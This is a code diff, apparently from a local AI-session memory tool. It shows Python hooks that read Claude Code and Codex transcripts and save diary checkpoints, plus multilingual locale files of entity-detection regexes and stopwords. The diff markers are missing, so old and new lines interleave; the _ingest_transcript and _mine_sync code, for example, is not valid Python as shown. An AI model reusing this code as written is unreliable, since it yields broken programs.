def _mine_sync(transcript_path: str = ""):
|
||||
"""Run mempalace mine synchronously (for precompact -- data must land first)."""
|
||||
mine_dir = _get_mine_dir(transcript_path)
|
||||
if not mine_dir:
|
||||
return
|
||||
def _extract_recent_messages(transcript_path: str, count: int = _RECENT_MSG_COUNT) -> list[str]:
|
||||
"""Extract the last N user messages from a JSONL transcript."""
|
||||
path = Path(transcript_path).expanduser()
|
||||
if not path.is_file():
|
||||
return []
|
||||
messages = []
|
||||
try:
|
||||
with open(path, encoding="utf-8", errors="replace") as f:
|
||||
for line in f:
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
# Claude Code format
|
||||
msg = entry.get("message") or entry.get("event_message") or {}
|
||||
if isinstance(msg, dict) and msg.get("role") == "user":
|
||||
content = msg.get("content", "")
|
||||
if isinstance(content, list):
|
||||
content = " ".join(
|
||||
b.get("text", "") for b in content if isinstance(b, dict)
|
||||
)
|
||||
if not isinstance(content, str) or not content.strip():
|
||||
continue
|
||||
if "<command-message>" in content or "<system-reminder>" in content:
|
||||
continue
|
||||
messages.append(content.strip()[:200])
|
||||
# Codex CLI format
|
||||
elif entry.get("type") == "event_msg":
|
||||
payload = entry.get("payload", {})
|
||||
if isinstance(payload, dict) and payload.get("type") == "user_message":
|
||||
text = payload.get("message", "")
|
||||
if isinstance(text, str) and text.strip():
|
||||
if "<command-message>" not in text:
|
||||
messages.append(text.strip()[:200])
|
||||
except (json.JSONDecodeError, AttributeError):
|
||||
pass
|
||||
except OSError:
|
||||
return []
|
||||
return messages[-count:]
|
||||
|
||||
|
||||
_THEME_STOPWORDS = frozenset(
|
||||
"the a an and or but in on at to for of is it i me my you your we our "
|
||||
"this that with from by was were be been are not no yes can do did dont "
|
||||
"will would should could have has had lets let just also like so if then "
|
||||
"ok okay sure yeah hey hi here there what when where how why which some "
|
||||
"all any each every about into out up down over after before between "
|
||||
"get got make made need want use used using check look see run try "
|
||||
"know think right now still already really very much more most too "
|
||||
"file files code one two new first last next thing things way well".split()
|
||||
)
|
||||
|
||||
|
||||
def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]:
|
||||
"""Pull 2-3 distinctive topic words from recent messages.
|
||||
|
||||
Note: stopword list is English-only; non-English corpora will produce noisy themes.
|
||||
"""
|
||||
from collections import Counter
|
||||
|
||||
words: Counter[str] = Counter()
|
||||
for msg in messages:
|
||||
for word in msg.lower().split():
|
||||
# Strip punctuation, keep words 4+ chars
|
||||
clean = word.strip(".,;:!?\"'`()[]{}#<>/\\-_=+@$%^&*~")
|
||||
if len(clean) >= 4 and clean not in _THEME_STOPWORDS and clean.isalpha():
|
||||
words[clean] += 1
|
||||
return [w for w, _ in words.most_common(max_themes)]
|
||||
|
||||
|
||||
def _save_diary_direct(
|
||||
transcript_path: str,
|
||||
session_id: str,
|
||||
wing: str = "",
|
||||
toast: bool = False,
|
||||
) -> dict:
|
||||
"""Write a diary checkpoint by calling the tool function directly (no MCP roundtrip).
|
||||
|
||||
If `wing` is set, the entry lands in that wing (typically the project wing
|
||||
derived from the transcript path). Otherwise falls back to `tool_diary_write`'s
|
||||
default of `wing_session-hook`.
|
||||
|
||||
Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure.
|
||||
"""
|
||||
messages = _extract_recent_messages(transcript_path)
|
||||
if not messages:
|
||||
_log("No recent messages to save")
|
||||
return {"count": 0}
|
||||
|
||||
themes = _extract_themes(messages)
|
||||
|
||||
# Build a compressed diary entry from recent conversation
|
||||
now = datetime.now()
|
||||
topics = "|".join(m[:80] for m in messages[-10:])
|
||||
entry = (
|
||||
f"CHECKPOINT:{now.strftime('%Y-%m-%d')}|session:{session_id}"
|
||||
f"|msgs:{len(messages)}|recent:{topics}"
|
||||
)
|
||||
|
||||
try:
|
||||
from .mcp_server import tool_diary_write
|
||||
|
||||
result = tool_diary_write(
|
||||
agent_name="session-hook",
|
||||
entry=entry,
|
||||
topic="checkpoint",
|
||||
wing=wing,
|
||||
)
|
||||
if result.get("success"):
|
||||
_log(f"Diary checkpoint saved: {result.get('entry_id', '?')}")
|
||||
# Write state for ack tool to read
|
||||
try:
|
||||
ack_file = STATE_DIR / "last_checkpoint"
|
||||
ack_file.write_text(
|
||||
json.dumps({"msgs": len(messages), "ts": now.isoformat()}),
|
||||
encoding="utf-8",
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
if toast:
|
||||
_desktop_toast(f"Checkpoint saved \u2014 {len(messages)} messages archived")
|
||||
return {"count": len(messages), "themes": themes}
|
||||
else:
|
||||
_log(f"Diary checkpoint failed: {result.get('error', 'unknown')}")
|
||||
except Exception as e:
|
||||
_log(f"Diary checkpoint error: {e}")
|
||||
return {"count": 0}
|
||||
|
||||
|
||||
def _ingest_transcript(transcript_path: str):
|
||||
"""Mine a Claude Code session transcript into the palace as a conversation."""
|
||||
path = Path(transcript_path).expanduser()
|
||||
if not path.is_file() or path.stat().st_size < 100:
|
||||
return
|
||||
|
||||
from .config import MempalaceConfig
|
||||
|
||||
try:
|
||||
MempalaceConfig() # validate config loads
|
||||
except Exception:
|
||||
return
|
||||
|
||||
try:
|
||||
STATE_DIR.mkdir(parents=True, exist_ok=True)
|
||||
log_path = STATE_DIR / "hook.log"
|
||||
STATE_DIR.mkdir(parents=True, exist_ok=True)
|
||||
with open(log_path, "a") as log_f:
|
||||
subprocess.run(
|
||||
[sys.executable, "-m", "mempalace", "mine", mine_dir],
|
||||
subprocess.Popen(
|
||||
[
|
||||
_mempalace_python(),
|
||||
"-m",
|
||||
"mempalace",
|
||||
"mine",
|
||||
str(path.parent),
|
||||
"--mode",
|
||||
"convos",
|
||||
"--wing",
|
||||
"sessions",
|
||||
],
|
||||
stdout=log_f,
|
||||
stderr=log_f,
|
||||
timeout=60,
|
||||
)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
_log(f"Transcript ingest started: {path.name}")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
@@ -252,6 +515,39 @@ def _parse_harness_input(data: dict, harness: str) -> dict:
|
||||
}
|
||||
|
||||
|
||||
def _wing_from_transcript_path(transcript_path: str) -> str:
|
||||
"""Derive a project wing name from a Claude Code transcript path.
|
||||
|
||||
Claude Code encodes the project's source directory by replacing path
|
||||
separators with dashes, producing folders like:
|
||||
~/.claude/projects/-home-<user>-Projects-<project>/session.jsonl
|
||||
~/.claude/projects/-home-<user>-dev-<parent>-<project>/session.jsonl
|
||||
~/.claude/projects/-Users-<user>-<folder>-<project>/session.jsonl
|
||||
|
||||
The project directory name is the final dash-separated token of the
|
||||
encoded folder. Returns ``wing_<project>`` (lowercased, spaces → ``_``).
|
||||
Falls back to ``wing_sessions`` if the path does not match a Claude Code
|
||||
project-folder layout.
|
||||
"""
|
||||
# Normalize path separators for cross-platform (Windows backslashes)
|
||||
normalized = transcript_path.replace("\\", "/")
|
||||
# Primary: pull the encoded project folder out of ``.claude/projects/``
|
||||
# and take its last dash-separated token.
|
||||
match = re.search(r"/\.claude/projects/-([^/]+)", normalized)
|
||||
if match:
|
||||
encoded = match.group(1)
|
||||
project = encoded.rsplit("-", 1)[-1]
|
||||
if project:
|
||||
return f"wing_{project.lower().replace(' ', '_')}"
|
||||
# Legacy fallback: explicit ``-Projects-<name>`` segment, useful for
|
||||
# transcripts not under the standard Claude Code projects dir.
|
||||
match = re.search(r"-Projects-([^/]+?)(?:/|$)", normalized)
|
||||
if match:
|
||||
project = match.group(1).lower().replace(" ", "_")
|
||||
return f"wing_{project}"
|
||||
return "wing_sessions"
|
||||
|
||||
|
||||
def hook_stop(data: dict, harness: str):
|
||||
"""Stop hook: block every N messages for auto-save."""
|
||||
parsed = _parse_harness_input(data, harness)
|
||||
@@ -259,10 +555,29 @@ def hook_stop(data: dict, harness: str):
|
||||
stop_hook_active = parsed["stop_hook_active"]
|
||||
transcript_path = parsed["transcript_path"]
|
||||
|
||||
# If already in a save cycle, let through (infinite-loop prevention)
|
||||
# If already in a block-mode save cycle, let through (infinite-loop prevention).
|
||||
# Silent mode saves directly without returning {"decision":"block"}, so there's
|
||||
# no loop to prevent — and Claude Code's plugin dispatch sets this flag on every
|
||||
# fire after the first, which would otherwise suppress all subsequent auto-saves.
|
||||
if str(stop_hook_active).lower() in ("true", "1", "yes"):
|
||||
_output({})
|
||||
return
|
||||
# Safe default: assume silent mode on any config-read failure so saves
|
||||
# proceed rather than being silently dropped. Silent mode is the default
|
||||
# (v3.3.0+), so if we can't read config, behave as if it's still on.
|
||||
silent_guard = True
|
||||
try:
|
||||
from .config import MempalaceConfig
|
||||
except ImportError as exc:
|
||||
_log(
|
||||
f"WARNING: could not import MempalaceConfig for stop guard: {exc}; defaulting to silent mode"
|
||||
)
|
||||
else:
|
||||
try:
|
||||
silent_guard = MempalaceConfig().hook_silent_save
|
||||
except AttributeError as exc:
|
||||
_log(f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode")
|
||||
if not silent_guard:
|
||||
_output({})
|
||||
return
|
||||
|
||||
# Count human messages
|
||||
exchange_count = _count_human_messages(transcript_path)
|
||||
@@ -282,18 +597,62 @@ def hook_stop(data: dict, harness: str):
|
||||
_log(f"Session {session_id}: {exchange_count} exchanges, {since_last} since last save")
|
||||
|
||||
if since_last >= SAVE_INTERVAL and exchange_count > 0:
|
||||
# Update last save point
|
||||
try:
|
||||
last_save_file.write_text(str(exchange_count), encoding="utf-8")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
_log(f"TRIGGERING SAVE at exchange {exchange_count}")
|
||||
|
||||
# Optional: auto-ingest if MEMPAL_DIR is set
|
||||
_maybe_auto_ingest(transcript_path)
|
||||
# Read hook settings from config
|
||||
from .config import MempalaceConfig
|
||||
|
||||
_output({"decision": "block", "reason": STOP_BLOCK_REASON})
|
||||
try:
|
||||
config = MempalaceConfig()
|
||||
silent = config.hook_silent_save
|
||||
toast = config.hook_desktop_toast
|
||||
except Exception:
|
||||
silent = True
|
||||
toast = False
|
||||
|
||||
project_wing = _wing_from_transcript_path(transcript_path)
|
||||
|
||||
if silent:
|
||||
# Save directly via Python API — systemMessage renders in terminal
|
||||
result = {"count": 0}
|
||||
if transcript_path:
|
||||
result = _save_diary_direct(
|
||||
transcript_path, session_id, wing=project_wing, toast=toast
|
||||
)
|
||||
_ingest_transcript(transcript_path)
|
||||
_maybe_auto_ingest()
|
||||
# Only advance save marker after successful save
|
||||
count = result.get("count", 0)
|
||||
if count > 0:
|
||||
try:
|
||||
last_save_file.write_text(str(exchange_count), encoding="utf-8")
|
||||
except OSError:
|
||||
pass
|
||||
themes = result.get("themes", [])
|
||||
if themes:
|
||||
tag = " \u2014 " + ", ".join(themes)
|
||||
else:
|
||||
tag = ""
|
||||
_output(
|
||||
{
|
||||
"systemMessage": f"\u2726 {count} memories woven into the palace{tag}",
|
||||
}
|
||||
)
|
||||
else:
|
||||
_output({})
|
||||
else:
|
||||
# Legacy: block and ask Claude to save via MCP tools.
|
||||
# Marker advances before confirmed save — best-effort; if Claude
|
||||
# fails to save, the checkpoint is lost but won't retry endlessly.
|
||||
try:
|
||||
last_save_file.write_text(str(exchange_count), encoding="utf-8")
|
||||
except OSError:
|
||||
pass
|
||||
if transcript_path:
|
||||
_ingest_transcript(transcript_path)
|
||||
_maybe_auto_ingest()
|
||||
reason = STOP_BLOCK_REASON + f" Write diary entry to wing={project_wing}."
|
||||
_output({"decision": "block", "reason": reason})
|
||||
else:
|
||||
_output({})
|
||||
|
||||
@@ -320,8 +679,14 @@ def hook_precompact(data: dict, harness: str):
|
||||
|
||||
_log(f"PRE-COMPACT triggered for session {session_id}")
|
||||
|
||||
# Mine synchronously so data lands before compaction proceeds
|
||||
_mine_sync(transcript_path)
|
||||
# Capture tool output via our normalize path before compaction loses it
|
||||
if transcript_path:
|
||||
_ingest_transcript(transcript_path)
|
||||
|
||||
# Mine MEMPAL_DIR synchronously so project data lands before
|
||||
# compaction proceeds. Transcript convos were already kicked off
|
||||
# above via _ingest_transcript.
|
||||
_mine_sync()
|
||||
|
||||
_output({})
|
||||
|
||||
|
||||
@@ -0,0 +1,166 @@
|
||||
{
|
||||
"lang": "be",
|
||||
"label": "Беларуская",
|
||||
"terms": {
|
||||
"palace": "палац",
|
||||
"wing": "крыло",
|
||||
"hall": "зала",
|
||||
"closet": "шафа",
|
||||
"drawer": "шуфляда",
|
||||
"mine": "майнінг",
|
||||
"search": "пошук",
|
||||
"status": "статус",
|
||||
"init": "ініцыялізацыя",
|
||||
"repair": "аднаўленне",
|
||||
"migrate": "міграцыя",
|
||||
"entity": "аб'ект",
|
||||
"topic": "тэма"
|
||||
},
|
||||
"cli": {
|
||||
"mine_start": "Майнінг {path}...",
|
||||
"mine_complete": "Гатова. Створана шаф: {closets}, шуфляд: {drawers}.",
|
||||
"mine_skip": "Майнінг скончаны. Выкарыстайце --force, каб перамайніць.",
|
||||
"search_no_results": "Няма вынікаў для: {query}",
|
||||
"search_results": "Знойдзена {count} вынікаў:",
|
||||
"status_palace": "Палац: {path}",
|
||||
"status_wings": "Крылаў: {count}",
|
||||
"status_closets": "Шаф: {count}",
|
||||
"status_drawers": "Шуфляд: {count}",
|
||||
"init_complete": "Палац ініцыялізаваны ў {path}",
|
||||
"init_exists": "Палац ужо існуе ў {path}",
|
||||
"repair_complete": "Аднаўленне скончана. Выпраўлена праблем: {fixed}.",
|
||||
"migrate_complete": "Міграцыя завершана.",
|
||||
"no_palace": "Палац не знойдзены. Запусціце: mempalace init <дырэкторыя>"
|
||||
},
|
||||
"aaak": {
|
||||
"instruction": "Сцісні да фармату індэкса. Злучкі паміж словамі, вертыкальныя рысы паміж паняткамі. Выдалі падставы і службовыя словы. Захавай дакладнасць імёнаў, нумароў, скланенняў і формаў."
|
||||
},
|
||||
"regex": {
|
||||
"topic_pattern": "[А-ЯЁІЎ][а-яёіў]{2,}|[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_]{2,}",
|
||||
"stop_words": "і а але бо каб калі калісьці хоць што хто дзе куды адкуль як чаму таму ж не ні так таксама яшчэ ўжо цяпер потым тут там адсюль туды ў на па з са без для над пад пры пра праз супраць замест акрамя сярод вакол уздоўж каля паміж пасля перад да ад у або альбо то ці быццам нібыта вось гэты гэта гэтыя той тая тыя некаторыя кожны кожная кожныя толькі вельмі можа трэба будзе быў была былі ёсць няма",
|
||||
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
|
||||
"action_pattern": "(?:зрабіў|зрабіла|зрабілі|стварыў|стварыла|стварылі|дадаў|дадала|дадалі|абнавіў|абнавіла|абнавілі|наладзіў|наладзіла|наладзілі|пратэставаў|пратэставала|пратэставалі)\\s+[\\wа-яёА-ЯЁІіЎў\\s]{3,30}"
|
||||
},
|
||||
"entity": {
|
||||
"candidate_pattern": "[А-ЯЁІЎ][а-яёіў]{1,19}",
|
||||
"multi_word_pattern": "[А-ЯЁІЎ][а-яёіў]+(?:\\s+[А-ЯЁІЎ][а-яёіў]+)+",
|
||||
"person_verb_patterns": [
|
||||
"\\b{name}\\s+сказа(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+спыта(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+адказа(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+расказа(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+засмея(?:ўся|лася|ліся)\\b",
|
||||
"\\b{name}\\s+усміхну(?:ўся|лася|ліся)\\b",
|
||||
"\\b{name}\\s+заплака(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+адчу(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+думае\\b",
|
||||
"\\b{name}\\s+хоча\\b",
|
||||
"\\b{name}\\s+кахае\\b",
|
||||
"\\b{name}\\s+ненавідзіць\\b",
|
||||
"\\b{name}\\s+ведае\\b",
|
||||
"\\b{name}\\s+вырашы(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+напіса(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+каза(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+зрабі(?:ў|ла|лі)\\b",
|
||||
"\\b{name}\\s+спытваецца\\b",
|
||||
"\\b{name}\\s+адказвае\\b"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"\\bён\\b",
|
||||
"\\bяго\\b",
|
||||
"\\bяму\\b",
|
||||
"\\bім\\b",
|
||||
"\\bяна\\b",
|
||||
"\\bяе\\b",
|
||||
"\\bёй\\b",
|
||||
"\\bёю\\b",
|
||||
"\\bяны\\b",
|
||||
"\\bіх\\b",
|
||||
"\\bімі\\b",
|
||||
"\\bяно\\b",
|
||||
"\\bвы\\b",
|
||||
"\\bвас\\b",
|
||||
"\\bвам\\b",
|
||||
"\\bвамі\\b"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[:\\s]",
|
||||
"^{name}:\\s",
|
||||
"^\\[{name}\\]",
|
||||
"\"{name}\\s+сказа(?:ў|ла|лі)"
|
||||
],
|
||||
"direct_address_pattern": "\\bпрывітанне[,:!.]?\\s+{name}\\b|\\bвітаю[,:!.]?\\s+{name}\\b|\\bдзякуй[,:!.]?\\s+{name}\\b|\\bдарагі[,:!.]?\\s+{name}\\b|\\bдарагая[,:!.]?\\s+{name}\\b|\\bпаважаны[,:!.]?\\s+{name}\\b|\\bпаважаная[,:!.]?\\s+{name}\\b",
|
||||
"project_verb_patterns": [
|
||||
"\\bзбіраю\\s+{name}\\b",
|
||||
"\\bсабраў\\s+{name}\\b",
|
||||
"\\bзапускаю\\s+{name}\\b",
|
||||
"\\bзапусціў\\s+{name}\\b",
|
||||
"\\bразгарнуў\\s+{name}\\b",
|
||||
"\\bусталяваў\\s+{name}\\b",
|
||||
"\\bсістэма\\s+{name}\\b",
|
||||
"\\bпраект\\s+{name}\\b",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"і",
|
||||
"ў",
|
||||
"з",
|
||||
"са",
|
||||
"на",
|
||||
"па",
|
||||
"да",
|
||||
"ад",
|
||||
"у",
|
||||
"без",
|
||||
"для",
|
||||
"над",
|
||||
"пад",
|
||||
"пры",
|
||||
"пра",
|
||||
"праз",
|
||||
"супраць",
|
||||
"замест",
|
||||
"акрамя",
|
||||
"сярод",
|
||||
"вакол",
|
||||
"уздоўж",
|
||||
"каля",
|
||||
"паміж",
|
||||
"пасля",
|
||||
"перад",
|
||||
"або",
|
||||
"альбо",
|
||||
"каб",
|
||||
"калі",
|
||||
"хоць",
|
||||
"бо",
|
||||
"ж",
|
||||
"не",
|
||||
"ні",
|
||||
"так",
|
||||
"яшчэ",
|
||||
"ужо",
|
||||
"цяпер",
|
||||
"вось",
|
||||
"гэта",
|
||||
"тое",
|
||||
"тут",
|
||||
"там",
|
||||
"вельмі",
|
||||
"толькі",
|
||||
"можа",
|
||||
"трэба",
|
||||
"ёсць",
|
||||
"няма",
|
||||
"як",
|
||||
"што",
|
||||
"хто",
|
||||
"чаму",
|
||||
"таму",
|
||||
"прывітанне",
|
||||
"дзякуй",
|
||||
"ласка"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -40,5 +40,87 @@
|
||||
"stop_words": "der die das ein eine eines einer einem einen den dem des und oder aber denn weil wenn als ob auch noch schon sehr viel nur nicht mehr kann wird hat ist sind war waren sein haben wurde mit von zu für auf in an um über nach durch",
|
||||
"quote_pattern": "\\u201E([^\\u201C]{10,200})\\u201C|\"([^\"]{10,200})\"",
|
||||
"action_pattern": "(?:gebaut|behoben|geschrieben|hinzugefügt|gepusht|gemessen|getestet|überprüft|erstellt|gelöscht|aktualisiert|konfiguriert|bereitgestellt|migriert)\\s+[\\wÄÖÜäöüß\\s]{3,30}"
|
||||
},
|
||||
"entity": {
|
||||
"candidate_pattern": "[A-ZÄÖÜ][a-zäöüß]{1,19}",
|
||||
"multi_word_pattern": "[A-ZÄÖÜ][a-zäöüß]+(?:\\s+[A-ZÄÖÜ][a-zäöüß]+)+",
|
||||
"person_verb_patterns": [
|
||||
"\\b{name}\\s+sagte\\b",
|
||||
"\\b{name}\\s+fragte\\b",
|
||||
"\\b{name}\\s+antwortete\\b",
|
||||
"\\b{name}\\s+erzählte\\b",
|
||||
"\\b{name}\\s+lachte\\b",
|
||||
"\\b{name}\\s+lächelte\\b",
|
||||
"\\b{name}\\s+weinte\\b",
|
||||
"\\b{name}\\s+fühlte\\b",
|
||||
"\\b{name}\\s+denkt\\b",
|
||||
"\\b{name}\\s+will\\b",
|
||||
"\\b{name}\\s+liebt\\b",
|
||||
"\\b{name}\\s+hasst\\b",
|
||||
"\\b{name}\\s+weiß\\b",
|
||||
"\\b{name}\\s+entschied\\b",
|
||||
"\\b{name}\\s+schrieb\\b"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"\\ber\\b",
|
||||
"\\bsie\\b",
|
||||
"\\bes\\b",
|
||||
"\\bihn\\b",
|
||||
"\\bihm\\b",
|
||||
"\\bihr\\b",
|
||||
"\\bsein\\b",
|
||||
"\\bihre\\b",
|
||||
"\\bihnen\\b"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[:\\s]",
|
||||
"^{name}:\\s",
|
||||
"^\\[{name}\\]",
|
||||
"\"{name}\\s+sagte"
|
||||
],
|
||||
"direct_address_pattern": "\\bhallo\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bdanke\\s+{name}\\b|\\bservus\\s+{name}\\b|\\blieber\\s+{name}\\b|\\bliebe\\s+{name}\\b|\\bsehr\\s+geehrter\\s+{name}\\b|\\bsehr\\s+geehrte\\s+{name}\\b",
|
||||
"project_verb_patterns": [
|
||||
"\\bbaue\\s+{name}\\b",
|
||||
"\\bgebaut\\s+{name}\\b",
|
||||
"\\bstarte\\s+{name}\\b",
|
||||
"\\bgestartet\\s+{name}\\b",
|
||||
"\\bdeploye\\s+{name}\\b",
|
||||
"\\binstalliert\\s+{name}\\b",
|
||||
"\\bdie\\s+{name}\\s+architektur\\b",
|
||||
"\\bdie\\s+{name}\\s+pipeline\\b",
|
||||
"\\bdas\\s+{name}\\s+system\\b",
|
||||
"\\bdas\\s+{name}\\s+repository\\b",
|
||||
"\\b{name}\\s+v\\d+\\b",
|
||||
"\\b{name}\\.py\\b",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"der", "die", "das", "ein", "eine", "eines", "einer", "einem", "einen",
|
||||
"den", "dem", "des", "und", "oder", "aber", "denn", "weil", "wenn", "als",
|
||||
"ob", "auch", "noch", "schon", "sehr", "viel", "nur", "nicht", "mehr",
|
||||
"kann", "wird", "hat", "ist", "sind", "war", "waren", "sein", "haben",
|
||||
"wurde", "worden", "werden", "mit", "von", "zu", "für", "auf", "in",
|
||||
"an", "um", "über", "nach", "durch", "bei", "aus", "seit", "vor", "zwischen",
|
||||
"ich", "du", "er", "sie", "es", "wir", "ihr", "mich", "dich", "mir", "dir",
|
||||
"uns", "euch", "mein", "dein", "unser", "euer", "ihre", "seine",
|
||||
"wer", "was", "wann", "wo", "wie", "warum", "welcher", "welche", "welches",
|
||||
"so", "dann", "jetzt", "heute", "gestern", "morgen", "hier", "dort", "da",
|
||||
"immer", "nie", "manchmal", "oft", "selten", "bald", "spät",
|
||||
"ja", "nein", "vielleicht", "gut", "schlecht", "besser", "bitte", "danke",
|
||||
"hallo", "hi", "hey", "tschüss",
|
||||
"tag", "tage", "woche", "monat", "jahr", "jahre", "zeit", "welt", "leben",
|
||||
"mensch", "menschen", "leute", "person", "ding", "dinge", "sache", "sachen",
|
||||
"teil", "art", "weise", "stelle", "platz", "ort", "zimmer", "haus", "land",
|
||||
"grund", "frage", "antwort", "fakt", "sinn", "idee", "punkt", "fall", "aspekt",
|
||||
"beispiel", "version", "nummer", "zahl", "name", "namen", "system", "modell",
|
||||
"sprache", "technologie", "gesellschaft", "kultur", "geschichte",
|
||||
"wissenschaft", "zukunft", "erinnerung", "gedächtnis",
|
||||
"datei", "ordner", "pfad", "schlüssel", "wert", "fehler", "warnung",
|
||||
"ergebnis", "eingabe", "ausgabe", "quelle", "ziel", "daten", "elemente",
|
||||
"montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag", "sonntag",
|
||||
"januar", "februar", "märz", "april", "mai", "juni", "juli", "august",
|
||||
"september", "oktober", "november", "dezember"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
+12
-2
@@ -42,7 +42,7 @@
|
||||
"action_pattern": "(?:built|fixed|wrote|added|pushed|measured|tested|reviewed|created|deleted|updated|configured|deployed|migrated)\\s+[\\w\\s]{3,30}"
|
||||
},
|
||||
"entity": {
|
||||
"candidate_pattern": "[A-Z][a-z]{1,19}",
|
||||
"candidate_pattern": "[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+|[A-Z][a-z]{1,19}",
|
||||
"multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
|
||||
"person_verb_patterns": [
|
||||
"\\b{name}\\s+said\\b",
|
||||
@@ -140,7 +140,17 @@
|
||||
"agents", "tools", "others", "guards", "ethics", "regulation",
|
||||
"learning", "thinking", "memory", "language", "intelligence",
|
||||
"technology", "society", "culture", "future", "history", "science",
|
||||
"model", "models", "network", "networks", "training", "inference"
|
||||
"model", "models", "network", "networks", "training", "inference",
|
||||
"created", "updated", "deleted", "added", "removed", "modified",
|
||||
"extracted", "processed", "generated", "compiled", "launched", "installed",
|
||||
"deployed", "executed", "loaded", "parsed", "validated", "configured",
|
||||
"total", "summary", "covered", "included", "pending", "failed", "success",
|
||||
"ready", "active", "disabled", "enabled", "available", "completed",
|
||||
"auto", "multi", "mini", "micro", "meta", "super", "hybrid",
|
||||
"context", "bridge", "batch", "local", "global", "native", "cloud",
|
||||
"before", "after", "during", "often", "always", "never",
|
||||
"project", "contributor", "software",
|
||||
"backend", "frontend", "server", "client", "service", "app", "api"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -40,5 +40,89 @@
|
||||
"stop_words": "el la los las un una unos unas de del al en con por para su sus mi mis tu tus es son está están fue ser estar haber sido como pero más muy también todo todos toda todas este esta estos estas ese esa esos esas que quien cual donde cuando porque aunque sin",
|
||||
"quote_pattern": "\"([^\"]{10,200})\"|«([^»]{10,200})»",
|
||||
"action_pattern": "(?:construido|corregido|escrito|añadido|enviado|medido|probado|revisado|creado|eliminado|actualizado|configurado|desplegado|migrado)\\s+[\\wá-ú\\s]{3,30}"
|
||||
},
|
||||
"entity": {
|
||||
"candidate_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]{1,19}",
|
||||
"multi_word_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+(?:\\s+[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+)+",
|
||||
"person_verb_patterns": [
|
||||
"\\b{name}\\s+dijo\\b",
|
||||
"\\b{name}\\s+preguntó\\b",
|
||||
"\\b{name}\\s+respondió\\b",
|
||||
"\\b{name}\\s+contó\\b",
|
||||
"\\b{name}\\s+rió\\b",
|
||||
"\\b{name}\\s+sonrió\\b",
|
||||
"\\b{name}\\s+lloró\\b",
|
||||
"\\b{name}\\s+sintió\\b",
|
||||
"\\b{name}\\s+piensa\\b",
|
||||
"\\b{name}\\s+quiere\\b",
|
||||
"\\b{name}\\s+ama\\b",
|
||||
"\\b{name}\\s+odia\\b",
|
||||
"\\b{name}\\s+sabe\\b",
|
||||
"\\b{name}\\s+decidió\\b",
|
||||
"\\b{name}\\s+escribió\\b"
|
||||
],
|
||||
"pronoun_patterns": [
|
||||
"\\bél\\b",
|
||||
"\\bella\\b",
|
||||
"\\bellos\\b",
|
||||
"\\bellas\\b",
|
||||
"\\blo\\b",
|
||||
"\\bla\\b",
|
||||
"\\ble\\b",
|
||||
"\\bles\\b",
|
||||
"\\bse\\b"
|
||||
],
|
||||
"dialogue_patterns": [
|
||||
"^>\\s*{name}[:\\s]",
|
||||
"^{name}:\\s",
|
||||
"^\\[{name}\\]",
|
||||
"\"{name}\\s+dijo"
|
||||
],
|
||||
"direct_address_pattern": "\\bhola\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bgracias\\s+{name}\\b|\\bquerido\\s+{name}\\b|\\bquerida\\s+{name}\\b|\\bestimado\\s+{name}\\b|\\bestimada\\s+{name}\\b|\\bdon\\s+{name}\\b|\\bdoña\\s+{name}\\b|\\bseñor\\s+{name}\\b|\\bseñora\\s+{name}\\b",
|
||||
"project_verb_patterns": [
|
||||
"\\bconstruyo\\s+{name}\\b",
|
||||
"\\bconstruí\\s+{name}\\b",
|
||||
"\\barmé\\s+{name}\\b",
|
||||
"\\blancé\\s+{name}\\b",
|
||||
"\\bdesplegué\\s+{name}\\b",
|
||||
"\\binstalé\\s+{name}\\b",
|
||||
"\\bla\\s+arquitectura\\s+{name}\\b",
|
||||
"\\bel\\s+pipeline\\s+{name}\\b",
|
||||
"\\bel\\s+sistema\\s+{name}\\b",
|
||||
"\\bel\\s+proyecto\\s+{name}\\b",
|
||||
"\\bel\\s+repositorio\\s+{name}\\b",
|
||||
"\\b{name}\\s+v\\d+\\b",
|
||||
"\\b{name}\\.py\\b",
|
||||
"\\bimport\\s+{name}\\b",
|
||||
"\\bpip\\s+install\\s+{name}\\b"
|
||||
],
|
||||
"stopwords": [
|
||||
"el", "la", "los", "las", "un", "una", "unos", "unas",
|
||||
"de", "del", "al", "a", "en", "con", "sin", "por", "para", "sobre",
|
||||
